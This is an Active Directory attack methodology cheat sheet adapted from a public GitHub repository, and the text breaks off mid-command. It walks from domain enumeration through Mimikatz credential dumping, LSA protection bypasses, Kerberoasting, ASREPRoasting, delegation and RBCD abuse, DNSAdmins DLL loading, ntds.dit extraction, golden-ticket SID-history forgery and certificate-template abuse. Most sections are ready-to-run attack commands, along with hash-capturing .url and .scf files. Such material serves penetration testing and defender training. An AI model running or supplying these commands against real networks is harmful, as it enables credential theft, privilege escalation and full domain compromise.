--- title: "Active Directory Attack Methodology" description: "End-to-end AD exploitation: enum, roasting, delegation, lateral movement, DCSync, persistence." category: active-directory subcategory: "Tooling & Recon" tags: [active-directory, methodology, kerberos, lateral-movement] tools: [Impacket, Rubeus, Mimikatz, CrackMapExec] difficulty: advanced updated: "2026-08-09" source: "vault:ActiveDirectory/Active-Directory_cheat_sheet.md" upstreamName: "Active Directory Exploitation Cheat Sheet" upstreamUrl: "https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" upstreamAuthor: "Nikos Katsiopis & Nikos Vourdas (S1ckB0y1337)" upstreamLicense: "MIT" upstreamRelation: "derived" upstreamCopyright: "Copyright (c) 2020 Nikos Katsiopis" --- # Active Directory Attack Methodology Common enumeration and attack methods for Windows Active Directory, from domain recon through domain and cross-forest persistence. Inspired by the PayloadsAllTheThings repo. ## Tools - Powersploit — https://github.com/PowerShellMafia/PowerSploit/tree/dev - PowerUpSQL — https://github.com/NetSPI/PowerUpSQL - Powermad — https://github.com/Kevin-Robertson/Powermad - Impacket — https://github.com/fortra/impacket - Mimikatz — https://github.com/gentilkiwi/mimikatz - Rubeus — https://github.com/GhostPack/Rubeus (compiled: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries) - BloodHound — https://github.com/SpecterOps/BloodHound - AD Module — https://github.com/samratashok/ADModule - Adalanche — https://github.com/lkarlslund/adalanche > **Note —** CrackMapExec is now deprecated in favour of NetExec (`nxc`, https://github.com/Pennyw0rth/NetExec). Where this sheet shows `crackmapexec`/`cme`, use `nxc` with the same syntax. ## Domain Enumeration ### Using PowerView PowerView v3.0 — https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 - **Get Current Domain:** `Get-Domain` - **Enumerate Other Domains:** `Get-Domain -Domain ` - **Get Domain SID:** `Get-DomainSID` - **Get Domain Policy:** ```powershell Get-DomainPolicy # Show policy configurations of the domain (system access or kerberos) Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy ``` - **Get Domain Controllers:** ```powershell Get-DomainController Get-DomainController -Domain ``` - **Enumerate Domain Users:** ```powershell # Save all Domain Users to a file Get-DomainUser | Out-File -FilePath .\DomainUsers.txt # Return specific properties of a specific user Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List # Enumerate user logged on a machine Get-NetLoggedon -ComputerName # Enumerate Session Information for a machine Get-NetSession -ComputerName # Enumerate domain machines where specific users are logged in Find-DomainUserLocation -Domain | Select-Object UserName, SessionFromName ``` - **Enum Domain Computers:** ```powershell Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName # Enumerate live machines Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName ``` - **Enum Groups and Group Members:** ```powershell # Save all Domain Groups to a file Get-DomainGroup | Out-File -FilePath .\DomainGroup.txt # Return members of a specific group (e.g. Domain Admins & Enterprise Admins) Get-DomainGroup -Identity '' | Select-Object -ExpandProperty Member Get-DomainGroupMember -Identity '' | Select-Object MemberDistinguishedName # Enumerate local groups on the local (or remote) machine (needs local admin on remote) Get-NetLocalGroup | Select-Object GroupName # Enumerate members of a specific local group (needs local admin on remote) Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain # GPOs that modify local group memberships via Restricted Groups or GPP Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName ``` - **Enumerate Shares:** ```powershell # Enumerate Domain Shares Find-DomainShare # Enumerate Domain Shares the current user has access to Find-DomainShare -CheckShareAccess # Enumerate "interesting" files on accessible shares Find-InterestingDomainShareFile -Include *passwords* ``` - **Enum Group Policies:** ```powershell Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName # Enumerate all GPOs applied to a specific computer Get-DomainGPO -ComputerIdentity -Properties DisplayName | Sort-Object -Property DisplayName # Get users that are part of a machine's local Admin group Get-DomainGPOComputerLocalGroupMapping -ComputerName ``` - **Enum OUs:** ```powershell Get-DomainOU -Properties Name | Sort-Object -Property Name ``` - **Enum ACLs:** ```powershell # Returns the ACLs associated with the specified account Get-DomainObjectAcl -Identity -ResolveGUIDs # Search for interesting ACEs Find-InterestingDomainAcl -ResolveGUIDs # Check the ACLs associated with a specified path (e.g. SMB share) Get-PathAcl -Path "\\Path\Of\A\Share" ``` - **Enum Domain Trust:** ```powershell Get-DomainTrust Get-DomainTrust -Domain # Enumerate all trusts for the current domain and each domain it finds Get-DomainTrustMapping ``` - **Enum Forest Trust:** ```powershell Get-ForestDomain Get-ForestDomain -Forest # Map the trust of the forest Get-ForestTrust Get-ForestTrust -Forest ``` - **User Hunting:** ```powershell # Find all machines on the current domain where the current user has local admin access Find-LocalAdminAccess -Verbose # Find local admins on all machines of the domain Find-DomainLocalGroupMember -Verbose # Find computers where a Domain Admin OR a specified user has a session Find-DomainUserLocation | Select-Object UserName, SessionFromName # Confirming admin access Test-AdminAccess ``` > **Priv Esc to Domain Admin with User Hunting —** I have local admin access on a machine → a Domain Admin has a session on that machine → I steal his token and impersonate him → profit. ### Using AD Module - **Get Current Domain:** `Get-ADDomain` - **Enum Other Domains:** `Get-ADDomain -Identity ` - **Get Domain SID:** `Get-DomainSID` - **Get Domain Controllers:** ```powershell Get-ADDomainController Get-ADDomainController -Identity ``` - **Enumerate Domain Users:** ```powershell Get-ADUser -Filter * -Identity -Properties * # Get a specific "string" on a user's attribute Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description ``` - **Enum Domain Computers:** ```powershell Get-ADComputer -Filter * -Properties * Get-ADGroup -Filter * ``` - **Enum Domain Trust:** ```powershell Get-ADTrust -Filter * Get-ADTrust -Identity ``` - **Enum Forest Trust:** ```powershell Get-ADForest Get-ADForest -Identity # Domains of forest enumeration (Get-ADForest).Domains ``` - **Enum Local AppLocker Effective Policy:** ```powershell Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections ``` ### Using BloodHound #### Remote BloodHound Python BloodHound — https://github.com/dirkjanm/BloodHound.py or `pip3 install bloodhound` ```bash bloodhound-python -u -p -ns -d -c All ``` #### On-Site BloodHound ```powershell # Using exe ingestor .\SharpHound.exe --CollectionMethod All --LdapUsername --LdapPassword --domain --domaincontroller --OutputDirectory # Using PowerShell module ingestor . .\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All -LdapUsername -LdapPassword -OutputDirectory ``` ### Using Adalanche ```bash # Kali Linux ./adalanche collect activedirectory --domain \ --username --password \ --server # Example ./adalanche collect activedirectory --domain windcorp.local \ --username spoNge369@windcorp.local --password 'password123!' \ --server dc.windcorp.htb # LDAP Result Code 200 "Network Error": x509 certificate signed by unknown authority? ./adalanche collect activedirectory --domain windcorp.local \ --username spoNge369@windcorp.local --password 'password123!' \ --server dc.windcorp.htb --tlsmode NoTLS --port 389 # Invalid Credentials? ./adalanche collect activedirectory --domain windcorp.local \ --username spoNge369@windcorp.local --password 'password123!' \ --server dc.windcorp.htb --tlsmode NoTLS --port 389 \ --authmode basic # Analyze data — browse to http://127.0.0.1:8080 ./adalanche analyze ``` #### Export Enumerated Objects Export objects from any cmdlet into XML for later analysis. `Export-Clixml` serialises objects to a CLI XML file; `Import-Clixml` recreates them. ```powershell # Export Domain users to xml file Get-DomainUser | Export-CliXml .\DomainUsers.xml # Later, re-import for analysis on any machine $DomainUsers = Import-CliXml .\DomainUsers.xml # Apply any condition, filters, etc. $DomainUsers | select name $DomainUsers | ? {$_.name -match "User's Name"} ``` ### Useful Enumeration Tools - ldapdomaindump — LDAP information dumper - adidnsdump — integrated DNS dumping by any authenticated user - ACLight — advanced discovery of privileged accounts - ADRecon — detailed Active Directory recon tool ## Local Privilege Escalation - Windows Local Privilege Escalation Cookbook — https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook - Juicy Potato — abuse SeImpersonate/SeAssignPrimaryToken for SYSTEM impersonation (works only up to Windows Server 2016 and Windows 10 patch 1803) - Lovely Potato — automated Juicy Potato (same version limits) - PrintSpoofer — exploit the PrinterBug for SYSTEM impersonation (works on Windows Server 2019 and Windows 10) - RoguePotato — upgraded Juicy Potato (works on Windows Server 2019 and Windows 10) - Abusing Token Privileges — foxglovesecurity writeup - SMBGhost CVE-2020-0796 — PoC: https://github.com/danigargu/CVE-2020-0796 - CVE-2021-36934 (HiveNightmare/SeriousSAM) — https://github.com/cube0x0/CVE-2021-36934 ### Useful Local Priv Esc Tools - PowerUp — misconfiguration abuse - BeRoot — general priv esc enumeration - Privesc — general priv esc enumeration - FullPowers — restore a service account's privileges ## Lateral Movement ### PowerShell Remoting ```powershell # Enable PowerShell Remoting on current machine (needs admin) Enable-PSRemoting # Enter or start a new PSSession (needs admin) $sess = New-PSSession -ComputerName Enter-PSSession -ComputerName # OR -Session ``` ### Remote Code Execution with PS Credentials ```powershell $SecPassword = ConvertTo-SecureString '' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local\', $SecPassword) Invoke-Command -ComputerName -Credential $Cred -ScriptBlock {whoami} ``` ### Import a PowerShell Module and Execute its Functions Remotely ```powershell # Execute the command and start a session Invoke-Command -Credential $cred -ComputerName -FilePath c:\FilePath\file.ps1 -Session $sess # Interact with the session Enter-PSSession -Session $sess ``` ### Executing Remote Stateful Commands ```powershell # Create a new session $sess = New-PSSession -ComputerName # Execute command on the session Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process} # Check the result to confirm an interactive session Invoke-Command -Session $sess -ScriptBlock {$ps} ``` ### Mimikatz ```powershell # Commands are in Cobalt Strike format # Dump LSASS mimikatz privilege::debug mimikatz token::elevate mimikatz sekurlsa::logonpasswords # (Over) Pass The Hash mimikatz privilege::debug mimikatz sekurlsa::pth /user: /ntlm:<> /domain: # List all available kerberos tickets in memory mimikatz sekurlsa::tickets # Dump local Terminal Services credentials mimikatz sekurlsa::tspkg # Dump and save LSASS to a file mimikatz sekurlsa::minidump c:\temp\lsass.dmp # List cached MasterKeys mimikatz sekurlsa::dpapi # List local Kerberos AES keys mimikatz sekurlsa::ekeys # Dump SAM database mimikatz lsadump::sam # Dump SECRETS database mimikatz lsadump::secrets # Inject and dump the DC's credentials mimikatz privilege::debug mimikatz token::elevate mimikatz lsadump::lsa /inject # Dump the domain's credentials without touching DC's LSASS, remotely mimikatz lsadump::dcsync /domain: /all # Dump old passwords and NTLM hashes of a user mimikatz lsadump::dcsync /user:\ /history # List and dump local kerberos credentials mimikatz kerberos::list /dump # Pass The Ticket mimikatz kerberos::ptt # List TS/RDP sessions mimikatz ts::sessions # List Vault credentials mimikatz vault::list ``` **What if Mimikatz fails to dump credentials because of LSA Protection?** - LSA as a Protected Process (kernel-land bypass): ```powershell # Check if LSA runs as a protected process (RunAsPPL == 0x1) reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa # Upload mimidriver.sys from the mimikatz repo to the same folder as mimikatz.exe # Import the driver mimikatz # !+ # Remove the protection flags from lsass.exe mimikatz # !processprotect /process:lsass.exe /remove # Run logonpasswords to dump lsass mimikatz # sekurlsa::logonpasswords ``` - LSA as a Protected Process (userland "fileless" bypass): PPLdump, "Bypassing LSA Protection in Userland" (scrt.ch). - LSA running as a virtualised process (LSAISO) via Credential Guard: ```powershell # Check for lsaiso.exe in running processes tasklist | findstr lsaiso # If present, LSASS dumps only yield encrypted data. Inject a malicious SSP into memory mimikatz # misc::memssp # Every session/auth now logs plaintext creds to c:\windows\system32\mimilsa.log ``` ### Remote Desktop Protocol If the target host has "RestrictedAdmin" enabled, pass the hash over RDP for an interactive session without the plaintext password. - Mimikatz: ```powershell # Pass-the-hash and spawn mstsc.exe with /restrictedadmin privilege::debug sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin" # Then click OK on the RDP dialogue for an interactive session as the impersonated user ``` - xFreeRDP: ```bash xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8 /u: /pth: /v: ``` If Restricted Admin mode is disabled on the remote machine, connect via psexec/winrm and enable it by setting `HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin` to zero. - Bypass "Single Session per User" restriction — with SYSTEM/local admin, hijack an in-use RDP session by adding this registry key: ```powershell REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0 ``` Delete it afterwards to restore the restriction: ```powershell REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser ``` ### URL File Attacks - `.url` file: ```ini [InternetShortcut] URL=whatever WorkingDirectory=whatever IconFile=\\\%USERNAME%.icon IconIndex=1 ``` ```ini [InternetShortcut] URL=file:///leak/leak.html ``` - `.scf` file: ```ini [Shell] Command=2 IconFile=\\\Share\test.ico [Taskbar] Command=ToggleDesktop ``` Drop these in a writeable share; the victim only has to browse to it in Explorer (no interaction/open needed, but the file must be visible/top of the listing to render). Use Responder to capture the hashes. > **Note —** `.scf` file attacks won't work on the latest versions of Windows. ### Useful Tools - Powercat — netcat in PowerShell (tunneling, relay, port-forward) - SCShell — fileless lateral movement via ChangeServiceConfigA - Evil-WinRM — WinRM shell for hacking/pentesting - RunasCs — open C# version of Windows `runas.exe` - ntlm_theft — creates all file formats for URL-file attacks ## Domain Privilege Escalation ### Kerberoast Any standard domain user can request a TGS for any SPN bound to a user account, extract the encrypted blob (encrypted with the account's password), and brute-force it offline. - PowerView: ```powershell # Get user accounts used as service accounts Get-NetUser -SPN # Get every SPN account, request a TGS and dump its hash Invoke-Kerberoast # Request the TGS for a single account Request-SPNTicket # Export all tickets using Mimikatz Invoke-Mimikatz -Command '"kerberos::list /export"' ``` - AD Module: ```powershell Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName ``` - Impacket: ```bash impacket-GetUserSPNs /: -request -outputfile ``` - Rubeus: ```powershell # Kerberoast and output to a file in a specific format Rubeus.exe kerberoast /outfile: /domain: # OPSEC-safe: don't roast AES-enabled accounts Rubeus.exe kerberoast /outfile: /domain: /rc4opsec # Roast AES-enabled accounts Rubeus.exe kerberoast /outfile: /domain: /aes # Roast a specific user Rubeus.exe kerberoast /outfile: /domain: /user: /simple # Roast by specifying authentication credentials Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword: ``` Crack with hashcat mode 13100 (RC4 TGS), or 19600/19700 for AES-128/AES-256 tickets. ### ASREPRoast If a domain user account does not require Kerberos pre-authentication, you can request a valid AS-REP without domain credentials, extract the encrypted blob, and brute-force it offline. - PowerView: `Get-DomainUser -PreauthNotRequired -Verbose` - AD Module: `Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth` Forcefully disable Kerberos pre-auth on an account you have write permissions over. Add a filter (e.g. RDPUsers) to target user accounts, not machine accounts — machine account hashes are not crackable. PowerView: ```powershell Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"} # Disable Kerberos Preauth Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose # Check if the value changed Get-DomainUser -PreauthNotRequired -Verbose ``` - Using the ASREPRoast tool: ```powershell # Get a specific account's hash Get-ASREPHash -UserName -Verbose # Get any ASREPRoastable users' hashes Invoke-ASREPRoast -Verbose ``` - Using Rubeus: ```powershell # All domain users Rubeus.exe asreproast /format: /domain: /outfile: # Specific user Rubeus.exe asreproast /user: /format: /domain: /outfile: # Users of a specific OU Rubeus.exe asreproast /ou: /format: /domain: /outfile: ``` - Using Impacket: ```bash impacket-GetNPUsers / -usersfile -outputfile ``` Crack AS-REP hashes with hashcat mode 18200. ### Password Spray Attack If you harvest passwords by compromising an account, exploit password reuse across other domain accounts. **Tools:** - DomainPasswordSpray - NetExec (`nxc smb -u users.txt -p 'Password!' --continue-on-success`) — successor to CrackMapExec - Invoke-CleverSpray - Spray ### Force Set SPN With GenericAll/GenericWrite over a target account, set an SPN on it, request a TGS, grab the blob, and brute-force it. - PowerView: ```powershell # Check for interesting permissions on accounts Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"} # Check if the target already has an SPN set Get-DomainUser -Identity | select serviceprincipalname # Force set the SPN on the account Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'} ``` - AD Module: ```powershell # Check if the target already has an SPN set Get-ADUser -Identity -Properties ServicePrincipalName | select ServicePrincipalName # Force set the SPN on the account Set-ADUser -Identity -ServicePrincipalNames @{Add='ops/whatever1'} ``` Then use any tool above to grab and kerberoast the hash. ### Abusing Shadow Copies With local administrator access, list shadow copies — an easy route to domain escalation. ```powershell # List shadow copies using vssadmin (needs admin) vssadmin list shadows # List shadow copies using diskshadow diskshadow list shadows all # Symlink to the shadow copy and access it mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ ``` 1. Dump the backed-up SAM database and harvest credentials. 2. Look for DPAPI-stored creds and decrypt them. 3. Access backed-up sensitive files. ### List and Decrypt Stored Credentials using Mimikatz Encrypted credentials are usually stored in `%appdata%\Microsoft\Credentials` and `%localappdata%\Microsoft\Credentials`. ```powershell # Enumerate the cred object and get information about it dpapi::cred /in:"%appdata%\Microsoft\Credentials\" # Note the guidMasterKey parameter (which masterkey encrypted the credential), then enumerate it dpapi::masterkey /in:"%appdata%\Microsoft\Protect\\" # In the context of the owning user (or system), use /rpc to offload masterkey decryption to the DC dpapi::masterkey /in:"%appdata%\Microsoft\Protect\\" /rpc # The masterkey is now in local cache dpapi::cache # Decrypt the credential using the cached masterkey dpapi::cred /in:"%appdata%\Microsoft\Credentials\" ``` ### Unconstrained Delegation With administrative access to a machine that has Unconstrained Delegation enabled, wait for a high-value target/DA to connect, steal their TGT, then PTT and impersonate them. Using PowerView: ```powershell # Discover domain-joined computers with Unconstrained Delegation Get-NetComputer -UnConstrained # List tickets; check if a DA/high-value target stored its TGT Invoke-Mimikatz -Command '"sekurlsa::tickets"' # Monitor incoming sessions on our compromised server Invoke-UserHunter -ComputerName -Poll -UserName -Delay -Verbose # Dump the tickets to disk Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' # Impersonate via PTT Invoke-Mimikatz -Command '"kerberos::ptt "' ``` Rubeus works here too (see the printer-bug / SpoolSample technique below). ### Constrained Delegation Using PowerView and Kekeo: ```powershell # Enumerate users and computers with constrained delegation Get-DomainUser -TrustedToAuth Get-DomainComputer -TrustedToAuth # Ask for a valid TGT of a constrained-delegation user (kekeo) tgt::ask /user: /domain: /rc4: # Ask for a TGS to a service the user can access via constrained delegation tgs::s4u /tgt: /user:@ /service: # PTT the TGS Invoke-Mimikatz -Command '"kerberos::ptt "' ``` Alternative — Rubeus: ```powershell Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn:"" /altservice: /ptt ``` > **Delegation rights for only a specific SPN (e.g. TIME)?** Abuse Kerberos "alternative service": request TGS for other services the host supports, giving full access to the target machine. ### Resource-Based Constrained Delegation With GenericAll/GenericWrite on a machine account object, impersonate any domain user (e.g. Domain Administrator) to that machine. First enter the security context of the user/machine account with the privileges (PTH, RDP, PSCredentials, etc.). ```powershell # Import Powermad and create a new MACHINE ACCOUNT . .\Powermad.ps1 New-MachineAccount -MachineAccount -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose # Import PowerView and get the SID of the new machine account . .\PowerView.ps1 $ComputerSid = Get-DomainComputer -Properties objectsid | Select -Expand objectsid # Build an ACE for the new machine account using a raw security descriptor $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Set the security descriptor in msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Get the RC4 hash of the new machine account's password Rubeus.exe hash /password:'p@ssword!' # Impersonate Domain Administrator for CIFS on the target Rubeus.exe s4u /user: /rc4: /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt # Access the C$ drive of the target machine dir \\TargetMachine.wtver.domain\C$ ``` > **Note —** In constrained / RBCD scenarios, if you lack the password/hash of the account with `TRUSTED_TO_AUTH_FOR_DELEGATION`, use `tgt::deleg` (kekeo) or `tgtdeleg` (Rubeus) to trick Kerberos into a valid TGT for that account, then use the ticket instead of the hash. ```powershell Rubeus.exe tgtdeleg /nowrap ``` ### DNSAdmins Abuse A member of the DNSAdmins group can load an arbitrary DLL with the privileges of dns.exe (running as SYSTEM). If the DC serves DNS, this escalates to DA. Requires privileges to restart the DNS service. 1. Enumerate DNSAdmins members: - PowerView: `Get-NetGroupMember -GroupName "DNSAdmins"` - AD Module: `Get-ADGroupMember -Identity DNSAdmins` 2. Compromise a member. 3. Serve a malicious DLL and configure its usage: ```powershell # Using dnscmd dnscmd /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll # Restart the DNS service sc \\DNSServer stop dns sc \\DNSServer start dns ``` ### Abusing Active Directory-Integrated DNS - "Exploiting Active Directory-Integrated DNS" (NetSPI) - "ADIDNS Revisited" (NetSPI) - Inveigh — https://github.com/Kevin-Robertson/Inveigh ### Abusing Backup Operators Group Compromising a Backup Operators member lets you abuse SeBackupPrivilege to shadow-copy the DC, extract `ntds.dit`, dump hashes, and escalate to DA. 1. Create a shadow copy using the signed `diskshadow` binary: ```text # script.txt set context persistent nowriters set metadata c:\windows\system32\spool\drivers\color\example.cab set verbose on begin backup add volume c: alias mydrive create expose %mydrive% w: end backup ``` ```powershell # Execute diskshadow with the script diskshadow /s script.txt ``` 2. Copy `ntds.dit` using Win32 backup API calls (SeBackupPrivilege repo by giuliano108): ```powershell # Import both DLLs from the repo Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll # Check / enable SeBackupPrivilege Get-SeBackupPrivilege Set-SeBackupPrivilege # Copy ntds.dit from the shadow copy Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\\ntds.dit -Overwrite # Dump the SYSTEM hive reg save HKLM\SYSTEM c:\temp\system.hive ``` 3. Copy `ntds.dit` and the SYSTEM hive to your machine (`impacket-smbclient` or similar). 4. Dump hashes with `impacket-secretsdump`. 5. PTH with psexec (or similar) for Domain Admin access. ### Abusing Exchange - "Abusing Exchange: One API Call Away From Domain Admin" (dirkjanm) - CVE-2020-0688 - PrivExchange — https://github.com/dirkjanm/PrivExchange ### Weaponizing Printer Bug - "Printer Server Bug to Domain Administrator" (Dionach) - NetNTLMtoSilverTicket — https://github.com/NotMedic/NetNTLMtoSilverTicket ### Abusing ACLs - "Escalating privileges with ACLs in Active Directory" (fox-it) - aclpwn.py — https://github.com/fox-it/aclpwn.py - Invoke-ACLPwn — https://github.com/fox-it/Invoke-ACLPwn ### Abusing IPv6 with mitm6 - "mitm6 — Compromising IPv4 networks via IPv6" (fox-it) - mitm6 — https://github.com/dirkjanm/mitm6 ### SID History Abuse If you compromise a child domain of a forest and SID filtering is not enabled (often the case), abuse the SID History field on a Kerberos TGT to escalate to Domain Administrator of the forest root. ```powershell # Get the SID of the current domain (PowerView) Get-DomainSID -Domain current.root.domain.local # Get the SID of the root domain (PowerView) Get-DomainSID -Domain root.domain.local # Enterprise Admins SID format: RootDomainSID-519 # Forge an "extra" golden ticket (mimikatz) kerberos::golden /user:Administrator /domain:current.root.domain.local /sid: /krbtgt: /sids: /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi # Inject the ticket kerberos::ptt \path\to\ticket\golden.kirbi # List the DC of the root domain dir \\dc.root.domain.local\C$ # Or DCSync and dump the hashes lsadump::dcsync /domain:root.domain.local /all ``` ### Exploiting SharePoint - CVE-2019-0604 — RCE (PoC: https://github.com/k8gege/CVE-2019-0604) - CVE-2019-1257 — code execution via BDC deserialization - CVE-2020-0932 — RCE using typeconverters (PoC: thezdi/PoC) ### Zerologon - Zerologon whitepaper (Secura) — unauthenticated domain controller compromise - SharpZeroLogon — C# implementation - Invoke-ZeroLogon — PowerShell implementation - zer0dump — Python (Impacket) implementation ### PrintNightmare - CVE-2021-34527 — vulnerability details - Impacket implementation — https://github.com/cube0x0/CVE-2021-1675 - SharpPrintNightmare — C# implementation ### Active Directory Certificate Services Check for vulnerable certificate templates with Certify (can run via Cobalt Strike `execute-assembly`): ```powershell .\Certify.exe find /vulnerable /quiet ``` Confirm `msPKI-Certificate-Name-Flag` is `ENROLLEE_SUPPLIES_SUBJECT`, enrollment rights allow Domain/Authenticated Users, `pkiextendedkeyusage` includes Client Authentication, and "Authorized Signatures Required" is 0. These enable an attacker to specify a Domain Admin UPN and forge authentication with the captured certificate. (If the DA is in Protected Users, the exploit may not work — check first.) Request the DA's account certificate with Certify: ```powershell .\Certify.exe request /template: